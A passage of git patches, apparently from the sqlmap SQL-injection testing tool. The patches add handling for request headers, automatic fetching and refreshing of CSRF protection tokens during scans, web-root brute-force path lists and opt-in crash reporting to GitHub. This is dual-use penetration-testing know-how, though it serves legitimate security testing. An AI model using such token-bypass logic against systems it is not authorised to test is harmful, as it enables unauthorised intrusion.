(url, method, data, conf.cookie) + target = (url, method, data, conf.cookie, None) retVal.add(target) else: errMsg = "there were no forms found at the given target URL" diff --git a/lib/core/option.py b/lib/core/option.py index 921fd035e..b5da3df44 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -271,6 +271,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): params = False newline = None lines = request.split('\n') + headers = [] for index in xrange(len(lines)): line = lines[index] @@ -320,14 +321,14 @@ def _feedTargetsDict(reqFile, addedTargetUrls): port = filterStringValue(splitValue[1], "[0-9]") # Avoid to add a static content length header to - # conf.httpHeaders and consider the following lines as + # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): params = True # Avoid proxy and connection type related headers elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION): - conf.httpHeaders.append((getUnicode(key), getUnicode(value))) + headers.append((getUnicode(key), getUnicode(value))) if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True @@ -355,7 +356,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, data, cookie)) + kb.targets.add((url, method, data, cookie, tuple(headers))) addedTargetUrls.add(url) fp = openFile(reqFile, "rb") diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index caea59a85..cb502eca1 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -143,4 +143,4 @@ def crawl(target): logger.warn(warnMsg) else: for url in threadData.shared.value: - kb.targets.add((url, None, None, None)) + kb.targets.add((url, None, None, None, None)) From 60f2764c3dd1f5b79d46e64727890e0746d8eb78 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 13:53:18 +0200 Subject: [PATCH 527/889] Minor style update --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 887009543..9f63e00aa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -535,7 +535,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100 CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that") +BOLD_PATTERNS = ("' injectable", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www") From 73a3db67eb7836c3d4e867ff4a3eab43b8369ed9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 14:54:49 +0200 Subject: [PATCH 528/889] Fix for an Issue #862 --- lib/core/option.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index b5da3df44..65e45a7a4 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -219,7 +219,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): if not(conf.scope and not re.search(conf.scope, url, re.I)): if not kb.targets or url not in addedTargetUrls: - kb.targets.add((url, method, None, cookie)) + kb.targets.add((url, method, None, cookie, None)) addedTargetUrls.add(url) def _parseBurpLog(content): @@ -561,14 +561,14 @@ def _setGoogleDorking(): for link in links: link = urldecode(link) if re.search(r"(.*?)\?(.+)", link): - kb.targets.add((link, conf.method, conf.data, conf.cookie)) + kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: message = "do you want to scan only results containing GET parameters? [Y/n] " test = readInput(message, default="Y") kb.data.onlyGETs = test.lower() != 'n' if not kb.data.onlyGETs or conf.googleDork: - kb.targets.add((link, conf.method, conf.data, conf.cookie)) + kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) return links @@ -618,7 +618,7 @@ def _setBulkMultipleTargets(): for line in getFileItems(conf.bulkFile): if re.match(r"[^ ]+\?(.+)", line, re.I) or CUSTOM_INJECTION_MARK_CHAR in line: found = True - kb.targets.add((line.strip(), None, None, None)) + kb.targets.add((line.strip(), None, None, None, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" @@ -635,7 +635,7 @@ def _setSitemapTargets(): for item in parseSitemap(conf.sitemapUrl): if re.match(r"[^ ]+\?(.+)", item, re.I): found = True - kb.targets.add((item.strip(), None, None, None)) + kb.targets.add((item.strip(), None, None, None, None)) if not found and not conf.forms and not conf.crawlDepth: warnMsg = "no usable links found (with GET parameters)" From 8dcad468053450fe5d0cd9c15db0ee5d7704fc80 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 22 Oct 2014 23:16:46 +0200 Subject: [PATCH 529/889] Update basic.py --- lib/request/basic.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index e30ab2df8..75bfbada2 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -53,7 +53,7 @@ def forgeHeaders(items=None): del items[_] headers = OrderedDict(conf.httpHeaders) - headers.update(items or {}) + headers.update(items.items()) class _str(str): def capitalize(self): From fc1b05bec907e96444d2227693fed0ab80c25b67 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:23:53 +0200 Subject: [PATCH 530/889] Implementation for an Issue #2 --- lib/controller/controller.py | 6 ++++++ lib/core/exception.py | 3 +++ lib/core/target.py | 6 ++++++ lib/parse/cmdline.py | 6 ++++++ lib/request/basic.py | 2 +- lib/request/connect.py | 29 +++++++++++++++++++++++++++++ 6 files changed, 51 insertions(+), 1 deletion(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 68d5eb8e8..fe9c448d8 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -457,6 +457,12 @@ def start(): infoMsg = "skipping %s parameter '%s'" % (place, parameter) logger.info(infoMsg) + elif parameter == conf.csrfToken: + testSqlInj = False + + infoMsg = "skipping CSRF protection token parameter '%s'" % parameter + logger.info(infoMsg) + # Ignore session-like parameters for --level < 4 elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False diff --git a/lib/core/exception.py b/lib/core/exception.py index 8fe6a7756..562d75ecc 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -53,6 +53,9 @@ class SqlmapSyntaxException(SqlmapBaseException): class SqlmapThreadException(SqlmapBaseException): pass +class SqlmapTokenException(SqlmapBaseException): + pass + class SqlmapUndefinedMethod(SqlmapBaseException): pass diff --git a/lib/core/target.py b/lib/core/target.py index 1c91a4d59..343cb32a2 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -344,6 +344,12 @@ def _setRequestParams(): errMsg += "within the given request data" raise SqlmapGenericException(errMsg) + if conf.csrfToken: + if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + errMsg = "CSRF protection token parameter '%s' not " % conf.csrfToken + errMsg += "found in provided GET and/or POST values" + raise SqlmapGenericException(errMsg) + def _setHashDB(): """ Check and set the HashDB SQLite file for query resume functionality. diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 0084e731c..85aa91d63 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -190,6 +190,12 @@ def cmdLineParser(): action="store_true", help="Skip URL encoding of payload data") + request.add_option("--csrf-token", dest="csrfToken", + help="Parameter used as a CSRF protection token") + + request.add_option("--csrf-url", dest="csrfUrl", + help="URL address to visit to extract CSRF protection token") + request.add_option("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") diff --git a/lib/request/basic.py b/lib/request/basic.py index 75bfbada2..ac887e08c 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -106,7 +106,7 @@ def forgeHeaders(items=None): elif not kb.testMode: headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value)) - if kb.testMode: + if kb.testMode and not conf.csrfToken: resetCookieJar(conf.cj) return headers diff --git a/lib/request/connect.py b/lib/request/connect.py index 99e88cacc..157e0cce2 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -63,6 +63,7 @@ from lib.core.enums import WEB_API from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR @@ -748,6 +749,34 @@ class Connect(object): if value and place == PLACE.CUSTOM_HEADER: auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] + if conf.csrfToken: + def _adjustParameter(paramString, parameter, newValue): + retVal = paramString + match = re.search("%s=(?P[^&]*)" % parameter, paramString) + if match: + origValue = match.group("value") + retVal = re.sub("%s=[^&]*" % parameter, "%s=%s" % (parameter, newValue), paramString) + return retVal + + page, _, _ = Connect.getPage(url=conf.csrfUrl or conf.url, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % conf.csrfToken, page) + token = (match.group(2) or match.group(3) or match.group(4)) if match else None + + if not token: + errMsg = "CSRF token value '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException, errMsg + + if token: + for item in (PLACE.GET, PLACE.POST): + if item in conf.parameters: + if item == PLACE.GET and get: + get = _adjustParameter(get, conf.csrfToken, token) + elif item == PLACE.POST and post: + post = _adjustParameter(post, conf.csrfToken, token) + if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString From a52c8811e68df9b4c29aad0fc6b1f15d05190921 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:25:44 +0200 Subject: [PATCH 531/889] Minor style update --- lib/parse/cmdline.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 85aa91d63..06eccdd9c 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -191,7 +191,7 @@ def cmdLineParser(): help="Skip URL encoding of payload data") request.add_option("--csrf-token", dest="csrfToken", - help="Parameter used as a CSRF protection token") + help="Parameter used to hold CSRF protection token") request.add_option("--csrf-url", dest="csrfUrl", help="URL address to visit to extract CSRF protection token") From 780dbd1c64690726eed291e77f9a2fc12d230610 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:42:30 +0200 Subject: [PATCH 532/889] Update for an Issue #2 --- lib/core/target.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/core/target.py b/lib/core/target.py index 343cb32a2..11910a2d9 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -349,6 +349,16 @@ def _setRequestParams(): errMsg = "CSRF protection token parameter '%s' not " % conf.csrfToken errMsg += "found in provided GET and/or POST values" raise SqlmapGenericException(errMsg) + else: + for place in (PLACE.GET, PLACE.POST): + for parameter in conf.paramDict.get(place, {}): + if parameter.lower().startswith("csrf"): + message = "%s parameter '%s' appears to hold CSRF protection token. " % (place, parameter) + message += "Do you want sqlmap to automatically update it in further requests? [y/N] " + test = readInput(message, default="N") + if test and test[0] in ("y", "Y"): + conf.csrfToken = parameter + break def _setHashDB(): """ From 7fc9e82d28f09cddffd0f55b1df0dc140ffcd957 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:44:38 +0200 Subject: [PATCH 533/889] Minor style update --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2131f695e..c65443b5b 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -561,7 +561,7 @@ def paramToDict(place, parameters=None): if condition: testableParameters[parameter] = "=".join(parts[1:]) - if not conf.multipleTargets: + if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): _ = urldecode(testableParameters[parameter], convall=True) if (_.strip(DUMMY_SQL_INJECTION_CHARS) != _\ or re.search(r'\A9{3,}', _) or re.search(DUMMY_USER_INJECTION, _))\ From 32bcca0aae2ebb4aa33dcfe656c1cf0255616fd6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 11:54:29 +0200 Subject: [PATCH 534/889] Basic options check for Issue #2 --- lib/core/option.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index 65e45a7a4..885005989 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2179,6 +2179,14 @@ def _basicOptionValidation(): errMsg = "switch '--forms' requires usage of option '-u' ('--url'), '-g', '-m' or '-x'" raise SqlmapSyntaxException(errMsg) + if conf.csrfUrl and not conf.csrfToken: + errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" + raise SqlmapSyntaxException(errMsg) + + if conf.csrfToken and conf.threads: + errMsg = "option '--csrf-url' is incompatible with option '--threads'" + raise SqlmapSyntaxException(errMsg) + if conf.requestFile and conf.url and conf.url != DUMMY_URL: errMsg = "option '-r' is incompatible with option '-u' ('--url')" raise SqlmapSyntaxException(errMsg) From 7143e61619e144b9b31aa8306e20ec18e275c192 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 14:00:53 +0200 Subject: [PATCH 535/889] Minor update --- lib/core/settings.py | 3 +++ lib/core/target.py | 3 ++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9f63e00aa..d6c739501 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -603,6 +603,9 @@ METASPLOIT_SESSION_TIMEOUT = 300 # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." +# Prefixes used for automatic recognition of parameters carrying CSRF protection tokens +CSRF_TOKEN_PARAMETER_PREFIXES = ("csrf", "xsrf") + # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), diff --git a/lib/core/target.py b/lib/core/target.py index 11910a2d9..f1d284b96 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -43,6 +43,7 @@ from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import CSRF_TOKEN_PARAMETER_PREFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES @@ -352,7 +353,7 @@ def _setRequestParams(): else: for place in (PLACE.GET, PLACE.POST): for parameter in conf.paramDict.get(place, {}): - if parameter.lower().startswith("csrf"): + if any(parameter.lower().startswith(_) for _ in CSRF_TOKEN_PARAMETER_PREFIXES): message = "%s parameter '%s' appears to hold CSRF protection token. " % (place, parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " test = readInput(message, default="N") From 01f4b76817f83dd89557fdd2141ba9c826052e5f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 14:03:44 +0200 Subject: [PATCH 536/889] Minor update for the Issue #2 --- lib/core/settings.py | 4 ++-- lib/core/target.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d6c739501..26f83d04c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -603,8 +603,8 @@ METASPLOIT_SESSION_TIMEOUT = 300 # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." -# Prefixes used for automatic recognition of parameters carrying CSRF protection tokens -CSRF_TOKEN_PARAMETER_PREFIXES = ("csrf", "xsrf") +# Infixes used for automatic recognition of parameters carrying CSRF protection tokens +CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { diff --git a/lib/core/target.py b/lib/core/target.py index f1d284b96..50a4d0d74 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -43,7 +43,7 @@ from lib.core.option import _setDBMS from lib.core.option import _setKnowledgeBaseAttributes from lib.core.option import _setAuthCred from lib.core.settings import ASTERISK_MARKER -from lib.core.settings import CSRF_TOKEN_PARAMETER_PREFIXES +from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import HOST_ALIASES @@ -353,7 +353,7 @@ def _setRequestParams(): else: for place in (PLACE.GET, PLACE.POST): for parameter in conf.paramDict.get(place, {}): - if any(parameter.lower().startswith(_) for _ in CSRF_TOKEN_PARAMETER_PREFIXES): + if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%s parameter '%s' appears to hold CSRF protection token. " % (place, parameter) message += "Do you want sqlmap to automatically update it in further requests? [y/N] " test = readInput(message, default="N") From 95f2e61ca18fe16bd5699a650de64b863e2ad6ef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 14:23:01 +0200 Subject: [PATCH 537/889] Minor fix related to the Issue #2 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 885005989..afe16c522 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2183,7 +2183,7 @@ def _basicOptionValidation(): errMsg = "option '--csrf-url' requires usage of option '--csrf-token'" raise SqlmapSyntaxException(errMsg) - if conf.csrfToken and conf.threads: + if conf.csrfToken and conf.threads > 1: errMsg = "option '--csrf-url' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) From abbd3523922aa0d64dea345807f49db70b6dc6cc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 14:33:22 +0200 Subject: [PATCH 538/889] Support for X-CSRF-TOKEN header (Issue #2) --- lib/core/target.py | 4 ++-- lib/request/connect.py | 23 ++++++++++++++++------- 2 files changed, 18 insertions(+), 9 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index 50a4d0d74..cd542d928 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -346,9 +346,9 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders): errMsg = "CSRF protection token parameter '%s' not " % conf.csrfToken - errMsg += "found in provided GET and/or POST values" + errMsg += "found in provided GET, POST or header values" raise SqlmapGenericException(errMsg) else: for place in (PLACE.GET, PLACE.POST): diff --git a/lib/request/connect.py b/lib/request/connect.py index 157e0cce2..29550c41c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -758,16 +758,21 @@ class Connect(object): retVal = re.sub("%s=[^&]*" % parameter, "%s=%s" % (parameter, newValue), paramString) return retVal - page, _, _ = Connect.getPage(url=conf.csrfUrl or conf.url, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % conf.csrfToken, page) + page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) + match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % conf.csrfToken, page or "") token = (match.group(2) or match.group(3) or match.group(4)) if match else None if not token: - errMsg = "CSRF token value '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) - if not conf.csrfUrl: - errMsg += ". You can try to rerun by providing " - errMsg += "a valid value for option '--csrf-url'" - raise SqlmapTokenException, errMsg + if conf.csrfUrl != conf.url and code == httplib.OK: + if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): + token = page + + if not token: + errMsg = "CSRF token value '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) + if not conf.csrfUrl: + errMsg += ". You can try to rerun by providing " + errMsg += "a valid value for option '--csrf-url'" + raise SqlmapTokenException, errMsg if token: for item in (PLACE.GET, PLACE.POST): @@ -777,6 +782,10 @@ class Connect(object): elif item == PLACE.POST and post: post = _adjustParameter(post, conf.csrfToken, token) + for i in xrange(len(conf.httpHeaders)): + if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): + conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) + if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString From 5e31229d48f6be97db7a8c90a366dd2541676d95 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Oct 2014 15:18:22 +0200 Subject: [PATCH 539/889] Minor cosmetic update --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 29550c41c..7d5df81f9 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -768,7 +768,7 @@ class Connect(object): token = page if not token: - errMsg = "CSRF token value '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) + errMsg = "CSRF protection token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) if not conf.csrfUrl: errMsg += ". You can try to rerun by providing " errMsg += "a valid value for option '--csrf-url'" From 6448d3caf4148840567761d8cdec4959ce79dc35 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 Oct 2014 09:37:51 +0200 Subject: [PATCH 540/889] Implementing support for csrfcookie (Issue #2) --- lib/core/target.py | 6 +++--- lib/request/connect.py | 21 +++++++++++++++++---- 2 files changed, 20 insertions(+), 7 deletions(-) diff --git a/lib/core/target.py b/lib/core/target.py index cd542d928..dd0da7b3d 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -346,12 +346,12 @@ def _setRequestParams(): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders): + if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}): errMsg = "CSRF protection token parameter '%s' not " % conf.csrfToken - errMsg += "found in provided GET, POST or header values" + errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) else: - for place in (PLACE.GET, PLACE.POST): + for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): for parameter in conf.paramDict.get(place, {}): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): message = "%s parameter '%s' appears to hold CSRF protection token. " % (place, parameter) diff --git a/lib/request/connect.py b/lib/request/connect.py index 7d5df81f9..bfb8bf242 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -767,6 +767,19 @@ class Connect(object): if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token = page + if not token and any(cookie.name == conf.csrfToken for cookie in conf.cj): + for cookie in conf.cj: + if cookie.name == conf.csrfToken: + token = cookie.value + if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if post: + post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) + elif get: + get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) + else: + get = "%s=%s" % (conf.csrfToken, token) + break + if not token: errMsg = "CSRF protection token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) if not conf.csrfUrl: @@ -775,11 +788,11 @@ class Connect(object): raise SqlmapTokenException, errMsg if token: - for item in (PLACE.GET, PLACE.POST): - if item in conf.parameters: - if item == PLACE.GET and get: + for place in (PLACE.GET, PLACE.POST): + if place in conf.parameters: + if place == PLACE.GET and get: get = _adjustParameter(get, conf.csrfToken, token) - elif item == PLACE.POST and post: + elif place == PLACE.POST and post: post = _adjustParameter(post, conf.csrfToken, token) for i in xrange(len(conf.httpHeaders)): From 19aed90ae534fc61da46f0c09450772b9ce464ea Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 Oct 2014 00:37:46 +0100 Subject: [PATCH 541/889] Implementation for an Issue #874 --- lib/core/common.py | 45 ++++++++++++++++++++++++++++++++++++++++++-- lib/core/settings.py | 3 +++ sqlmap.py | 5 ++++- 3 files changed, 50 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index c65443b5b..ccb3a70a1 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -9,8 +9,10 @@ import codecs import contextlib import cookielib import copy +import hashlib import httplib import inspect +import json import logging import ntpath import os @@ -23,6 +25,7 @@ import sys import tempfile import time import urllib +import urllib2 import urlparse import unicodedata @@ -99,6 +102,7 @@ from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES from lib.core.settings import GIT_PAGE +from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES @@ -876,7 +880,7 @@ def readInput(message, default=None, checkBatch=True): message = "\n%s" % message kb.prependFlag = False - if conf.answers: + if conf.get("answers"): for item in conf.answers.split(','): question = item.split('=')[0].strip() answer = item.split('=')[1] if len(item.split('=')) > 1 else None @@ -892,7 +896,7 @@ def readInput(message, default=None, checkBatch=True): break if retVal is None: - if checkBatch and conf.batch: + if checkBatch and conf.get("batch"): if isListLike(default): options = ",".join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: @@ -2843,6 +2847,43 @@ def unhandledExceptionMessage(): return maskSensitiveData(errMsg) +def createGithubIssue(errMsg, excMsg): + """ + Automatically create a Github issue with unhandled exception information + """ + + msg = "\ndo you want to automatically create a new (anonymized) issue " + msg += "with the unhandled exception information at " + msg += "the official Github repository? [y/N] " + test = readInput(msg, default="N") + if test[0] in ("y", "Y"): + ex = None + errMsg = errMsg[errMsg.find("\n"):] + + for match in re.finditer(r'File "(.+?)", line', excMsg): + file = match.group(1).replace('\\', "/") + file = file[file.find("sqlmap"):].replace("sqlmap/", "", 1) + excMsg = excMsg.replace(match.group(1), file) + + data = {"title": "Unhandled exception (#%s)" % hashlib.md5(excMsg).hexdigest()[:8], "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} + req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN}) + + try: + f = urllib2.urlopen(req) + content = f.read() + except Exception, ex: + content = None + + issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") + if issueUrl: + infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0) + logger.info(infoMsg) + else: + warnMsg = "something went wrong while creating a Github issue" + if ex: + warnMsg += " ('%s')" % ex + logger.warn(warnMsg) + def maskSensitiveData(msg): """ Masks sensitive data in the supplied message diff --git a/lib/core/settings.py b/lib/core/settings.py index 26f83d04c..0c31f65cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -474,6 +474,9 @@ DEFAULT_COOKIE_DELIMITER = ';' # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" +# Github OAuth token used for creating an 